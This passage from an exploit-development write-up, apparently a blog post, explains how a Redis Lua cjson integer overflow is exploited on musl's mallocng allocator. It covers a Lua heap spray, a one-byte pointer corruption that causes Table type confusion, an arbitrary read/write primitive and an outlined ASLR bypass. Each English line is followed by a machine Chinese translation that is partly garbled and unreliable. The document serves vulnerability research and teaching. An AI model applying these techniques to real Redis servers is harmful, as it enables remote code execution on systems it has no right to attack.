可以使用 Lua 泄漏表地址。通过了解大致尺寸

the large maps, we can predict when our target buffer would be mapped at
对于大映射,我们可以预测目标缓冲区何时被映射

a lower address in memory and avoid it. By continuously allocating large
内存中的较低地址并避免它。通过不断分配大

tables and leaking table addresses, we can work through relatively
表和泄漏表地址,我们可以相对解决

adjacent mappings and eventually get an address that suddenly skips a
相邻的映射并最终得到一个突然跳过的地址

significantly sized gap, correlating to the large string allocations we
差距很大,与我们的大字符串分配相关

want to avoid. After this point, we can safely allocate the target
想要避免。在此之后,我们可以安全地分配目标

buffer we want to corrupt, followed by approximately 0x15556000 bytes of
我们想要破坏的缓冲区,后跟大约 0x15556000 字节

filler memory, and then finally the destination buffer of the vulnerable
填充内存,最后是漏洞的目标缓冲区

copy that we will overflow. Just a reminder, this order is in reverse of
复制我们会溢出。只是提醒一下,此顺序与

what you might normally expect because each group is mmap()’ed at lower
你通常会期望什么,因为每个组都以较低的值进行 mmap() 处理

addresses, but we overflow towards larger addresses.
地址,但我们溢出到更大的地址。

The filler memory must still be adjacently mapped so that the copy
填充内存仍必须相邻映射,以便副本

from the vulnerable cjson buffer to the target slot won’t encounter any
从有漏洞的cjson缓冲区到目标槽不会遇到任何

gaps. mallocng uses specific size thresholds for allocations that
差距。 mallocng 对分配使用特定的大小阈值

determine the group they fit in. Each stride up to a maximum threshold
确定他们适合的群体。每一步都达到最大阈值

has an associated ‘sizeclass’. There are 48 sizeclasses. Anything above
有一个关联的“sizeclass”。有 48 个尺寸类别。以上任何内容

the MMAP_THRESHOLD (0x1FFEC) will fall into a ‘special’
MMAP_THRESHOLD (0x1FFEC) 将落入“特殊”状态

sizeclass 63. In these cases, it will map a single-slot group just for
sizeclass 63。在这些情况下,它将映射一个单槽组仅用于

that single allocation only. We can utilize this to trigger large
仅该单一分配。我们可以利用它来触发大

allocations that we know will be of a fixed size, with fixed contents,
我们知道分配的大小和内容都是固定的,

and won’t be used by any other code. I chose to use mappings of size
并且不会被任何其他代码使用。我选择使用大小映射

0x101000, as I found they were consistently mapped adjacent to each
0x101000,因为我发现它们一致地映射到每个

other by mmap(), as sizes too large or too small seemed to
其他通过 mmap() ,因为尺寸太大或太小似乎

occasionally create unwanted gaps.
有时会产生不必要的间隙。

To actually trigger the large allocations, I create a Lua table of
为了实际触发大量分配,我创建了一个 Lua 表

floating pointer numbers. The array contains TValue
浮点数。该数组包含 TValue

structures with inline numeric values. Therefore, we just need to create
具有内联数值的结构。因此,我们只需要创建

a table with an array big enough to cause the 0x101000 map (keeping in
一个表,其数组足够大以导致 0x101000 映射(保持在

mind the in-band metadata, which will add overhead). I do something like
请注意带内元数据,这会增加开销)。我做类似的事情

this: 这:

-- pre-allocate tables
for i = 1, math.floor(0x15560000 / 0x101000) + 1 do
    spray_pages[i] = {}
end
...
-- trigger the 0x101000-byte mappings
for i = 1, #spray_pages do
    for j = 1, 0xD000 do
        spray_pages[i][j] = 0x41414141
    end
end

I used the gap mapping script to confirm this behavior while
debugging and eventually ended up with something like this, where each
new table allocation ends up with a new array mapping like this:

   7: 0x555555a67000 - 0x5555564a1000   0xa3a000 rw-p
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x2aaa4439c000
   9: 0x7fff9a83d000 - 0x7fff9a93e000   0x101000 rw-p
  10: 0x7fff9a93e000 - 0x7fff9aa3f000   0x101000 rw-p
  11: 0x7fff9aa3f000 - 0x7fff9ab40000   0x101000 rw-p
  12: 0x7fff9ab40000 - 0x7fff9ac41000   0x101000 rw-p
  13: 0x7fff9ac41000 - 0x7fff9ad42000   0x101000 rw-p
  ...
 350: 0x7fffafe92000 - 0x7fffb0093000   0x201000 rw-p
 351: 0x7fffb0093000 - 0x7fffd00a4000 0x20011000 rw-p
 352: 0x7fffd00a4000 - 0x7fffd80a5000  0x8001000 rw-p ^-- ADJ: 0x3d868000
      [0000000000000000000000000000000000000000000000 ]-- GAP: 0x2000
...

So the layout will ultimately look something like:

In the diagram above, the “source string slot” is the buffer from
在上图中,“源字符串槽”是来自的缓冲区

which we copy our controlled data. The “cjson overflow slot” is the
我们复制我们的受控数据。 “cjson溢出槽”是

vulnerable destination buffer that we overflow due to the integer
由于整数而导致我们溢出的易受攻击的目标缓冲区

overflow, and the “target slot” is the victim buffer that we will
溢出,“目标槽”是我们将要处理的受害者缓冲区

corrupt with our 0x22 byte.
我们的 0x22 字节已损坏。

There is one more thing which is that the exact offset of the
还有一件事是精确的偏移量

overflow may change by a small amount if the Lua script changes, or if
如果 Lua 脚本发生变化,或者如果

there are other side effects on the heap. This seems due to allocations
对堆还有其他副作用。这似乎是由于分配

being made on the index 350 mapping above, before our actual target
在我们的实际目标之前,在上面的索引 350 映射上进行

buffer. I didn’t investigate this a lot, but it is likely solvable to
缓冲。我没有对此进行太多调查,但很可能可以解决

get rid of the indeterminism entirely. I chose to work around it by
彻底摆脱非决定论。我选择通过以下方式解决它

using a slightly smaller offset, and repeatedly triggering the overflow
使用稍小的偏移量,并重复触发溢出

and increasing the length. The main caveat of multiple attempts is that
并增加长度。多次尝试的主要警告是

due to corruption of legitimate chunks we have to avoid the garbage
由于合法块的损坏,我们必须避免垃圾

collector firing. Also, Lua has read-only strings, so each string being
收集器射击。另外,Lua 有只读字符串,所以每个字符串都是

allocated needs to be unique, so for each attempt that we make, it will
分配的需要是唯一的,因此对于我们所做的每次尝试,它都会

consume a few hundred MB of memory. In the event that our offset is too
消耗几百MB内存。如果我们的偏移量太

far away, we may well exhaust the memory of the target before we
在很远的地方,我们很可能会在我们之前耗尽目标的记忆

succeed. In practice, this isn’t a big issue, as once the exploit is
成功。实际上,这并不是一个大问题,因为一旦漏洞被利用

stable and the code isn’t changing, this offset won’t change.
稳定并且代码没有改变,这个偏移量也不会改变。

Successful brute force applied to the previous example looks
成功地将暴力破解应用到前面的示例中看起来

something like this:  像这样的东西:

Lua Table Confusion

With that out of the way, we can get to the more interesting part. As
noted, we corrupt the LSB of a TValue structure such that
TValue->value points outside its original slot
boundaries. This leads to a sort of type confusion, where we can point
it into a different slot with data we control.

The corrupted array is like so:

While targeting ptmalloc2, the Ricera Security researchers showed
that it’s possible to modify a TValue that originally
pointed to a Table, and change its pointer such that it
points to a controlled part of a TString chunk, which
contains a fake Table structure. This can then be used to
kick off a read/write primitive. We can do something similar on
mallocng; however, we have much more strict limitations because the
group holding the Table structure referenced by our
corrupted TValue only contains other fixed-size slots, so
we will only be able to adjust the offset to point to these. Let’s take
a look at these constraints.

Because of the fixed-size slots, our “confused” table will overlap
with two 0x50-byte slots. Depending on the TValue address
being corrupted, it may still partially overlap with itself (as this
graphic shows):

A Lua string is made up of a structure called TString,
Lua 字符串由一个名为 TString 的结构组成,

which is 0x18 bytes. It is immediately followed by the actual
这是 0x18 字节。紧接着是实际的

user-controlled string data. This means that if we want to place a Lua
用户控制的字符串数据。这意味着如果我们想放置一个 Lua

string into a group holding a Table, we will be limited by
字符串到一个包含 Table 的组中,我们将受到限制

how many bytes we actually control.
我们实际控制了多少字节。

(gdb) ptype /ox TString
type = struct TString {
/* 0x0000      |  0x0008 */        GCObject *next;
/* 0x0008      |  0x0001 */        lu_byte tt;
/* 0x0009      |  0x0001 */        lu_byte marked;
/* 0x000a      |  0x0001 */        lu_byte reserved;
/* XXX  1-byte hole      */
/* 0x000c      |  0x0004 */        unsigned int hash;
/* 0x0010      |  0x0008 */        size_t len;

/* total size (bytes):   0x18 */
}

Table is 0x48 bytes and is placed on a 0x50-stride
Table 为 0x48 字节,放置在 0x50 步长上

group. This means that only the last 0x30 bytes of a string can be used
团体。这意味着只能使用字符串的最后 0x30 字节

to fully control the Table contents, assuming a direct
完全控制 Table 内容,假设直接

overlap.  重叠。

(gdb) ptype /ox Table
type = struct Table {
/* 0x0000      |  0x0008 */    GCObject *next;
/* 0x0008      |  0x0001 */    lu_byte tt;
/* 0x0009      |  0x0001 */    lu_byte marked;
/* 0x000a      |  0x0001 */    lu_byte flags;
/* XXX  1-byte hole      */
/* 0x000c      |  0x0004 */    int readonly;
/* 0x0010      |  0x0001 */    lu_byte lsizenode;
/* XXX  7-byte hole      */
/* 0x0018      |  0x0008 */    struct Table *metatable;
/* 0x0020      |  0x0008 */    TValue *array;
/* 0x0028      |  0x0008 */    Node *node;
/* 0x0030      |  0x0008 */    Node *lastfree;
/* 0x0038      |  0x0008 */    GCObject *gclist;
/* 0x0040      |  0x0004 */    int sizearray;
/* XXX  4-byte padding   */

/* total size (bytes):   0x48 */
}

In practice, because we are dealing with a misaligned overlap, we can
在实践中,因为我们正在处理未对齐的重叠,所以我们可以

still leverage all of the user-controlled TString data. As
仍然利用所有用户控制的 TString 数据。作为

previously mentioned, we don’t control the exact offset into the
前面提到,我们不控制精确的偏移量

TString we end up using. We are restricted by the fact that
TString 我们最终使用了。我们受到以下事实的限制:

the value written is 0x22. As it turns out, it’s still possible to make
写入的值为0x22。事实证明,仍然可以做到

it work, but it’s a little bit finicky.
它有效,但有点挑剔。

To solve this problem, we need to figure out what the ideal
为了解决这个问题,我们需要弄清楚理想的情况是什么

overlapping offset into a TString would be, such that we
将偏移量重叠到 TString 中,这样我们

fully control Table->array in our confused table. Even
完全控制我们混乱表中的 Table->array 。甚至

if we control this array member though, we still need to
如果我们控制这个 array 成员,我们仍然需要

see what side effects exist and how they affect the other
查看存在哪些副作用以及它们如何影响其他副作用

Table fields. If some uncontrolled data pollutes a field in
Table 字段。如果一些不受控制的数据污染了某个领域

a particular way, it could mean we can’t actually abuse the
以一种特殊的方式,这可能意味着我们实际上不能滥用

array field.  array 字段。

Let’s look at the offsets of our slots inside the fixed-sized group.
让我们看看固定大小组内插槽的偏移量。

If we know the address of a table from which we can start:
如果我们知道可以开始的表的地址:

(gdb) p/x *(Table *) 0x7ffff7a5fa30
$2 = <lua_table> = {
  [1] = (TValue *) 0x7fffafe92650 <lua_table^> 0x7ffff497cac0,
  [2] = (TValue *) 0x7fffafe92660 <lua_table^> 0x7ffff7a5fad0,
  [3] = (TValue *) 0x7fffafe92670 <lua_table^> 0x7ffff7a5fb20,
  ...

Here we have a table at 0x7ffff7a5fa30, whose
这里我们有一个位于 0x7ffff7a5fa30 的表,其

array value contains a bunch of other tables. We want to,
array 值包含一堆其他表。我们想,

however, analyze the 0x50-stride group that this table is on, as well as
然而,分析该表所在的 0x50-stride 组,以及

the other slots in this group.
该组中的其他插槽。

We can use mchunkinfo from the muslheap library to take a
look at the associated slot group.

(gdb) mchunkinfo 0x7ffff7a5fa30
============== IN-BAND META ==============
        INDEX : 8
     RESERVED : 4
     OVERFLOW : 0
    OFFSET_16 : 0x28 (group --> 0x7ffff7a5f7a0)

================= GROUP ================== (at 0x7ffff7a5f7a0)
         meta : 0x555555aefc48
   active_idx : 24

================== META ================== (at 0x555555aefc48)
         prev : 0x0
         next : 0x0
          mem : 0x7ffff7a5f7a0
     last_idx : 24
   avail_mask : 0x0 (0b0)
   freed_mask : 0x0 (0b0)
  area->check : 0x232d7200e6a00d1e
    sizeclass : 4 (stride: 0x50)
       maplen : 0
     freeable : 1

Group allocation method : another groups slot

Slot status map: UUUUUUUUUUUUUUUU[U]UUUUUUUU (from slot 24 to slot 0)
 (U: Inuse / A: Available / F: Freed)

Result of nontrivial_free() : queue (active[4])

================== SLOT ================== (at 0x7ffff7a5fa30)
      cycling offset : 0x0 (userdata --> 0x7ffff7a5fa30)
        nominal size : 0x48
       reserved size : 0x4
OVERFLOW (user data) : 0
OVERFLOW (next slot) : 0

We can confirm that the stride is 0x50, and the slot size is 0x48.
我们可以确认步长是0x50,槽大小是0x48。

The Slot status map shows that this group is full, and our
Slot status map 显示该组已满,我们的

slot is at index 8 (designated by [U] and indexed in
插槽位于索引 8(由 [U] 指定并索引于

reverse order). Also, the cycling offset is 0, which means
相反的顺序)。另外, cycling offset 为0,这意味着

that the userdata associated with the slot actually starts at the
与该槽关联的用户数据实际上从

beginning of the slot. As we saw earlier, this will be very useful to
插槽的开始。正如我们之前看到的,这对于

us, as we will rely on predictable relative offsets between slots in the
我们,因为我们将依赖于插槽之间可预测的相对偏移

group.  团体。

What we are most interested in is how overwriting the LSB of a slot
我们最感兴趣的是如何覆盖插槽的LSB

at a specific offset in this group will influence what we control during
该组中的特定偏移量将影响我们在期间的控制

the type confusion. I’ll use an example to make it clearer. Let’s print
类型混乱。我将用一个例子来使它更清楚。让我们打印一下

out all the offsets of all the slots in this group:
输出该组中所有槽的所有偏移量:

 0: 0x7ffff7a5f7a0
 1: 0x7ffff7a5f7f0
 2: 0x7ffff7a5f840
 3: 0x7ffff7a5f890
 4: 0x7ffff7a5f8e0
 5: 0x7ffff7a5f930
 6: 0x7ffff7a5f980
 7: 0x7ffff7a5f9d0
 8: 0x7ffff7a5fa20 (B2)
 9: 0x7ffff7a5fa70
10: 0x7ffff7a5fac0 (B)
11: 0x7ffff7a5fb10 (A), (A2)
12: 0x7ffff7a5fb60
13: 0x7ffff7a5fbb0
14: 0x7ffff7a5fc00
15: 0x7ffff7a5fc50
16: 0x7ffff7a5fca0
17: 0x7ffff7a5fcf0
18: 0x7ffff7a5fd40
19: 0x7ffff7a5fd90
20: 0x7ffff7a5fde0
21: 0x7ffff7a5fe30
22: 0x7ffff7a5fe80
23: 0x7ffff7a5fed0
24: 0x7ffff7a5ff20

Before going further, I want to note that other than the
在进一步讨论之前,我想指出的是,除了

Table being targeted by the overwrite, these stride 0x50
Table 是覆盖的目标,这些步幅为 0x50

slots can be TString values that we control, so below if I
插槽可以是我们控制的 TString 值,所以下面如果我

say target index N, it means the slot at index N is a
说目标索引 N,这意味着索引 N 处的槽是

Table, but you can assume that slots adjacent (N-1 and N-2)
Table ,但您可以假设插槽相邻(N-1 和 N-2)

to it are controlled TString structures.
它是受控的 TString 结构。

Let’s start from the lowest LSB in the list and go until the pattern
让我们从列表中最低的 LSB 开始,直到模式

repeats. We see at 2, the LSB is 0x40, then the pattern repeats at
重复。我们看到在 2 处,LSB 是 0x40,然后该模式在

offset 18. That means we only need to analyze candidate tables between 2
偏移量18。这意味着我们只需要分析2之间的候选表

and 17 to cover all cases. We want to see what will happen if we
17 个覆盖所有情况。我们想看看如果我们

overwrite any of these entries with 0x22. Where does it fall within an
用 0x22 覆盖这些条目中的任何一个。它落在哪里

earlier slot, and how might that influence what we control? Since when
较早的时间段,这会如何影响我们的控制?从何时起

we trigger this confusion, due to the uncontrolled value 0x22, we are
我们触发了这种混乱,由于不受控制的值 0x22,我们

guaranteed to overlap two different 0x50-byte slots, so we may want to
保证重叠两个不同的 0x50 字节槽,所以我们可能想要

control them both.  控制他们两个。

A quick refresh in case you’ve forgotten, remember that we are
corrupting the LSB of a TValue in some table’s
Table->array buffer, and that TValue will
point to one of the slots in a group as we are analyzing.

I’ll choose a bad example of a table to target first. Assume we
我将首先选择一个不好的表示例作为目标。假设我们

decide to corrupt the LSB of index 11 (marked with (A)
决定破坏索引 11 的 LSB(标记为 (A)

above), which is at 0x7ffff7a5fb10. If we corrupt its LSB
上面),位于 0x7ffff7a5fb10 。如果我们破坏了它的 LSB

with 22, we get a confused table at
使用 22 ,我们得到一个混乱的表格

0x7ffff7a5fb22 so we end starting the confused table inside
0x7ffff7a5fb22 所以我们结束了内部混乱的表格

of the associated Table. I’ve indicated this above with
关联的 Table 。我在上面已经指出了这一点

(A2) to show they are roughly at the same location. In this
(A2) 以显示它们大致位于同一位置。在这个

scenario we don’t control the contents of the (A) table at
我们不控制 (A) 表的内容的场景

all, and thus most of (A2) is not controlled. Only the
所有,因此大部分 (A2) 不受控制。只有

0x12 bytes of the slot at index 12, which follows the
索引 12 处的槽的 0x12 字节,它遵循

confused Table will actually be controlled, so probably not
困惑 Table 实际上会被控制,所以可能不会

ideal.  理想的。

Okay, now we should find a better candidate… something that if we
好吧,现在我们应该找到一个更好的候选人……如果我们

corrupt it, we can jump back some large distance and overlap at least
破坏它,我们可以跳回一段大距离并至少重叠

one TString structure. I’ll be biased and choose the one
一个 TString 结构。我会偏向并选择一个

that works, but in practice, some trial and error was required. Let’s
这是可行的,但在实践中,需要进行一些尝试和错误。让我们

target index 10 (marked with (B)), which is at address
目标索引 10(标记为 (B) ),位于地址

0x7ffff7a5fac0. If we corrupt this, we will point to
0x7ffff7a5fac0 。如果我们破坏这个,我们将指向

0x7ffff7a5fa22 (marked with (B2)). Here
0x7ffff7a5fa22 (用 (B2) 标记)。这里

(B) will overlaps with both index 8 and the first two bytes
(B) 将与索引 8 和前两个字节重叠

of 9. In this scenario, index 8 could be a TString, which
为 9。在这种情况下,索引 8 可能是 TString ,其中

we control.  我们控制。

Assuming we have a controlled TString, we can check what
假设我们有一个受控的 TString ,我们可以检查什么

our confused Table will look like. First, this is what the
我们困惑的 Table 会是什么样子。首先,这就是

TString looks like (no misaligned access):
TString 看起来像(没有未对齐的访问):

(gdb) p/rx *(TString *) 0x7ffff7a5fa20
$7 = {
  tsv = {
    next = 0x7ffff3fa2460,
    tt = 0x4,
    marked = 0x1,
    reserved = 0x0,
    hash = 0xb94dc111,
    len = 0x32
(gdb) x/50b 0x7ffff7a5fa20+0x18
0x7ffff7a5fa38: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffff7a5fa40: 0x00    0x00    0x41    0x41    0x41    0x41    0x41    0x41
0x7ffff7a5fa48: 0x41    0x41    0x30    0x30    0x30    0x30    0x30    0x30
0x7ffff7a5fa50: 0x30    0x31    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffff7a5fa58: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffff7a5fa60: 0x00    0x00    0xff    0xff    0xff    0x7f    0x00    0x00
0x7ffff7a5fa68: 0x00    0x00

We see the TString header values, and then 0x32-bytes of
我们看到 TString 标头值,然后是 0x32 字节

controlled data. This data I’ve already populated at the right offsets
受控数据。我已经在正确的偏移处填充了这些数据

to demonstrate what values in a confused Table we can
为了演示我们可以在混乱的 Table 中获取哪些值

control.  控制。

Now let’s look at the confused Table at the misaligned
现在让我们看看未对齐处的混乱 Table

offset:  抵消:

(gdb) p/rx *(Table *)  0x7ffff7a5fa22
$5 = {
  next = 0x10400007ffff3fa,
  tt = 0x0,
  marked = 0x0,
  flags = 0x11,
  readonly = 0x32b94d,
  lsizenode = 0x0,
  metatable = 0x0,
  array = 0x4141414141414141,
  node = 0x3130303030303030,
  lastfree = 0x0,
  gclist = 0x0,
  sizearray = 0x7fffffff
}

As would be expected, the uncontrolled parts of TString
正如所料, TString 的不受控制部分

are clobbering the fields next through
正在破坏字段 next 到

readonly. But we can easily control the array
readonly 。但我们可以轻松控制 array

and the sizearray fields.
和 sizearray 字段。

One problem is that the readonly flag is non-zero, which
一个问题是 readonly 标志非零,这

means even if we get Lua to use this table, we’re not going to be able
意味着即使我们让 Lua 使用这个表,我们也无法

to use it for a write primitive. So we will have to work around this
将其用于写入原语。所以我们必须解决这个问题

(more on how shortly).
(更多关于多久)。

It may also look like we are in trouble because the tt
我们也可能遇到了麻烦,因为 tt

member is clobbered and no longer is of type LUA_TTABLE.
成员被破坏并且不再是 LUA_TTABLE 类型。

Fortunately, this isn’t a problem because when accessing numbered index
幸运的是,这不是问题,因为访问编号索引时

members inside of a table’s array, Lua will use the type specified by
表数组内的成员,Lua 将使用由

the TValue pointing at the object to determine its type. It
TValue 指向对象以确定其类型。它

won’t ever reference the type information inside the object. The type
永远不会引用对象内部的类型信息。方式

information inside the object is used specifically by the garbage
对象内部的信息由垃圾专门使用

collector, which we won’t plan on running. Similarly, the
收集器,我们不打算运行它。同样,

next pointer is only used by the garbage collector, so it
next 指针仅由垃圾收集器使用,因此它

being invalid is no problem.
无效没有问题。

We can look at luaH_get() to confirm:
我们可以查看 luaH_get() 来确认:

/*
** main search function
*/
const TValue *luaH_get (Table *t, const TValue *key) {
  switch (ttype(key)) {
    case LUA_TNIL: return luaO_nilobject;
    case LUA_TSTRING: return luaH_getstr(t, rawtsvalue(key));
    case LUA_TNUMBER: {
      int k;
      lua_Number n = nvalue(key);
      lua_number2int(k, n);
      if (luai_numeq(cast_num(k), nvalue(key))) /* index is int? */
        return luaH_getnum(t, k);  /* use specialized version */
      /* else go through */
    }
    ...

When looking up a table by index, if the index value is a number, we
当通过索引查找表时,如果索引值为数字,我们

encounter the LUA_TNUMBER case. This triggers a call to
遇到 LUA_TNUMBER 情况。这会触发一个调用

luaH_getnum(), which is:  luaH_getnum() ,即:

const TValue *luaH_getnum (Table *t, int key) {
  /* (1 <= key    key <= t->sizearray) */
  if (cast(unsigned int, key-1) < cast(unsigned int, t->sizearray))
    return  t->array[key-1];
  else {
    ...

This function will return the TValue from the
该函数将从

Table->array value. The TValue contains its
Table->array 值。 TValue 包含其

own tt member, as mentioned earlier. This
自己的 tt 成员,如前所述。这

TValue may be utilized later by some Lua code to access it
TValue 稍后可能会被某些 Lua 代码用来访问它

as a Table, which is handled by
作为 Table ,由

luaV_gettable.

void luaV_gettable (lua_State *L, const TValue *t, TValue *key, StkId val) {
  int loop;
  for (loop = 0; loop < MAXTAGLOOP; loop++) {
    const TValue *tm;
    if (ttistable(t)) {  /* `t' is a table? */
      Table *h = hvalue(t);
      const TValue *res = luaH_get(h, key); /* do a primitive get */
      if (!ttisnil(res) ||  /* result is no nil? */
          (tm = fasttm(L, h->metatable, TM_INDEX)) == NULL) { /* or no TM? */
        setobj2s(L, val, res);
        return;
      }
      /* else will try the tag method */
    }
    ...

We can see above that the parameter t of type
我们可以看到上面的参数 t 类型

TValue is being passed and used as a Table.
TValue 被传递并用作 Table 。

The code uses ttistable(t) to ensure that the
该代码使用 ttistable(t) 来确保

TValue indicates that it is a table:
TValue 表示它是一个表:

#define ttistable(o) (ttype(o) == LUA_TTABLE)

If it is a table, it calls into the luaH_get() to
如果它是一个表,它会调用 luaH_get() 来

reference whatever index is being requested. We know that
引用所请求的任何索引。我们知道

luaH_get() itself doesn’t check the
luaH_get() 本身不检查

Table->tt value. So we see that if we corrupt a
Table->tt 值。所以我们看到如果我们破坏一个

TValue to point to a confused table, and then access the
TValue 指向一个混乱的表,然后访问

associated Table structure to fetch objects, we can do it
关联的 Table 结构来获取对象,我们可以做到

without the corrupted Table->tt value ever being
没有损坏的 Table->tt 值

validated, meaning we can use the read-only Table to read
已验证,这意味着我们可以使用只读 Table 来读取

other, possibly more controlled objects.
其他可能更受控制的对象。

So, we’ve now got a spoofed read-only table that we can use, which
所以,我们现在有了一个可以使用的欺骗性只读表,它

can be visualized as:
可以可视化为:

Let’s use our read-only Table to try to read a
让我们使用只读 Table 来尝试读取

controlled writable Table object. The first question is,
受控可写 Table 对象。第一个问题是,

where do we point our read-only Table->array member? The
我们将只读 Table->array 成员指向哪里?这

leak primitive that Lua gives us only will leak addresses of tables, so
Lua给我们的泄漏原语只会泄漏表的地址,所以

we’re still only limited to values on a similarly fixed-size slot.
我们仍然仅限于类似固定大小插槽上的值。

However, in this case, we aren’t limited to only overwriting an LSB with
然而,在这种情况下,我们不仅限于用

0x22, so what do we do? First, we need to point
0x22,那我们该怎么办?首先我们需要指出

Table->array to a fake TValue that itself
Table->array 到一个假的 TValue 本身

points to yet another fake Table object.
指向另一个假 Table 对象。

Because we are able to control other fields inside our read-only
因为我们能够控制只读中的其他字段

Table that don’t need to be valid, and because I already
Table 不需要有效,因为我已经

leaked its address, I chose Table->array to be inside
泄露了它的地址,我选择了 Table->array 在里面

the Table itself. By re-using the
Table 本身。通过重新使用

Table->lastfree and Table->gclist  Table->lastfree 和 Table->gclist
members, we can plant a new TValue of type
成员们,我们可以种植一个新的 TValue 类型

LUA_TTABLE, and we can point TValue->value
LUA_TTABLE ,我们可以指向 TValue->value

to some other offset inside the 0x50-stride group. So where should we
到 0x50-stride 组内的一些其他偏移量。那么我们应该去哪里

point it this time?
这次指点一下?

Experimentation showed that by pointing to an offset of 0x5 into a
实验表明,通过将 0x5 的偏移量指向

TString, we can create a confused Table where
TString ,我们可以创建一个混乱的 Table ,其中

Table->readonly is NULL, and we are still
Table->readonly 是 NULL ,我们仍然

able to control the Table->array pointer with controlled
能够通过 control 来控制 Table->array 指针

string contents.  字符串内容。

What we end up with looks like this:

Since this table is writable, we will point its
Table->array to yet another table’s
Table->array address. This final Table
becomes our actual almost-arbitrary read/write (AARW) primitive. Using
insertions onto our writable confused table allows us to control the
address the r/w table will point to. At this point we are finally back
to where the original Ricera Security exploit expects to be.

This ultimately looks like so:
这最终看起来像这样:

This AARW is a bit cumbersome, so the conviso exploit sets up a
这个AARW有点麻烦,所以conviso漏洞利用设置了一个

TString object on the heap and modifies its length, to
TString 堆上的对象并修改其长度,以

allow for larger swaths of memory to be read in one go.
允许一次性读取更大范围的内存。

redis-server/libc
ASLR Bypass and Code Execution
redis-server/libc ASLR 绕过和代码执行

The conviso labs exploit also used a trick originally documented by
conviso labs 漏洞利用还使用了最初由

saelo  萨埃洛
that abuses the fact that a CCoroutine that uses
滥用了这样一个事实,即 CCoroutine 使用

yield() will end up using setjmp(). This means
yield() 最终将使用 setjmp() 。这意味着

while executing Lua code inside the coroutine, it’s possible to use the
在协程内执行 Lua 代码时,可以使用

AARW primitive to leak the address of the stored setjmp buffer, which
AARW 原语泄漏存储的 setjmp 缓冲区的地址,其中

leaks the stack address. From there, it’s possible to leak a GNU libc
泄漏堆栈地址。从那里,有可能泄漏 GNU libc

address, which is enough to know where to kick off a ROP chain.
地址,足以知道在哪里启动 ROP 链。

I still ran into some more quirks here, like the offset for the musl
我在这里仍然遇到了一些怪癖,比如 musl 的偏移

libc leak was different. Also, unlike the conviso exploit, we can’t
libc 泄漏是不同的。此外,与 conviso 漏洞不同,我们不能

easily brute force it due to the heap addresses and musl libc addresses
由于堆地址和 musl libc 地址,很容易暴力破解它

being too similar. This differs from when using brk() in
太相似了。这与使用 brk() 时不同

the original ptmalloc2 example. This led to me having to use a static
原始 ptmalloc2 示例。这导致我不得不使用静态

offset on the stack to find the musl libc offset.
堆栈上的偏移量以查找 musl libc 偏移量。

While poking around with this, I realized there’s maybe another way
在研究这个问题时,我意识到也许还有另一种方法

to get musl libc addresses, without relying on the
获取 musl libc 地址,而不依赖于

CCoroutine setjmp technique. In Lua, there is a global
CCoroutine setjmp 技术。在Lua中,有一个全局的

table that defines what types of functions are available. This can be
定义可用函数类型的表。这可以是

referenced using the symbol _G. By looking inside of
使用符号 _G 引用。通过观察内部

_G, we can see a whole bunch of the function entries, which
_G ,我们可以看到一大堆函数条目,其中

point to other CCoroutine structures on the heap. By
指向堆上的其他 CCoroutine 结构。经过

leaking the contents of the structure, we can read their function
泄露结构体的内容,我们可以读取它们的功能

address. These will all point into redis-server .text
地址。这些都将指向 redis-server .text

section. We could then parse the redis-server ELF to find a
部分。然后我们可以解析 redis-server ELF 来找到

musl libc GOT entry. Or so I thought… there is another quirk about the
musl libc 已获得条目。或者我是这么想的……还有另一个怪癖

read primitive used, which is that a string object is constructed on the
使用的读取原语,即在其上构造一个字符串对象

heap and its length is modified to allow arbitrary (positive) indexing,
堆及其长度被修改以允许任意(正)索引,

which makes it easier to read larger chunks of memory all in one go.
这使得一次性读取更大的内存块变得更容易。

Since the string is on the heap, the leaked redis-server
由于字符串位于堆上,因此泄漏的 redis-server

addresses mentioned above might not be accessible depending on where
上述地址可能无法访问,具体取决于位置

they are mapped. For instance, if you are testing with ASLR disabled or
它们已被映射。例如,如果您在禁用 ASLR 的情况下进行测试或

redis-server is not complied PIE, redis-server will almost certainly be
redis-server 不符合 PIE,redis-server 几乎肯定会是

inaccessible. As we saw earlier, the TString data is stored
无法访问。正如我们之前看到的, TString 数据被存储

inline, and not referenced using a pointer, so we can’t just point it
内联,并且不使用指针引用,所以我们不能只是指向它

into redis-server.  进入 redis-server 。

I chose not to further pursue this and just rely on the static musl
我选择不再进一步追求这一点,只是依靠静态 musl

libc offset I found on the stack, as I only needed to target a single
我在堆栈上找到的 libc 偏移量,因为我只需要定位一个

redis version. However, this is possibly an interesting exercise for the
雷迪斯版本。然而,对于

reader.  读者。

Conclusion 结论

This is a pretty interesting bug, and hopefully this article serves
这是一个非常有趣的错误,希望本文能有所帮助

to show that revisiting old exploits can be quite fun. Even if a bug is
表明重温旧的漏洞是非常有趣的。即使有错误

proven exploitable on one environment, there may still be a lot of work
已证明可在一种环境中利用,但可能仍有大量工作要做

to be done elsewhere, so don’t necessarily skip over it thinking
在其他地方完成,所以不一定要跳过它

everything’s already been explored.
一切都已经被探索过了。

I’d also like to give a big shout out to Ricerca and Conviso for the
我还要大力赞扬 Ricerca 和 Conviso

impressive and interesting exploits!
令人印象深刻且有趣的功绩!

Lastly, as I always mention lately, I started using voice coding
最后,正如我最近经常提到的,我开始使用语音编码

around 3-4 years ago for all my research/writing, and so want to thank
大约 3-4 年前我所有的研究/写作,所以要感谢

the Talon Voice community for building tooling to help people with RSI.
Talon Voice 社区构建工具来帮助 RSI 患者。

This is your friendly reminder to stand up, stretch, stop hunching, give
这是友好地提醒您站起来、伸展身体、停止驼背、给予

your arms a rest, etc. If you want to try voice coding, I suggest
你的手臂休息一下,等等。如果你想尝试语音编码,我建议

checking out Talon and Cursorless.
查看 Talon 和 Cursorless。

Resources 资源

The following is a list of papers mentioned in the article above.
以下是上述文章中提到的论文列表。

Year  Author 作者 Title 标题
2017 saelo 萨埃洛 Pwning 普宁
Lua through ‘load’  Lua通过“加载”
2019 richfelker 里奇菲尔克 Next-gen 下一代
malloc for musl libc – Working draft
musl libc 的 malloc – 工作草案
2021 xf1les musl 穆斯勒
libc 堆管理器 mallocng 详解 (Part I)
2021 h_noson 诺森 DEF
CON CTF Qualifier 2021 Writeup – mooosl
CON CTF 预选赛 2021 文章 – mooosl
2021 Andrew Haberlandt (ath0)
安德鲁·哈伯兰特 (ath0)
DefCon 防御会议
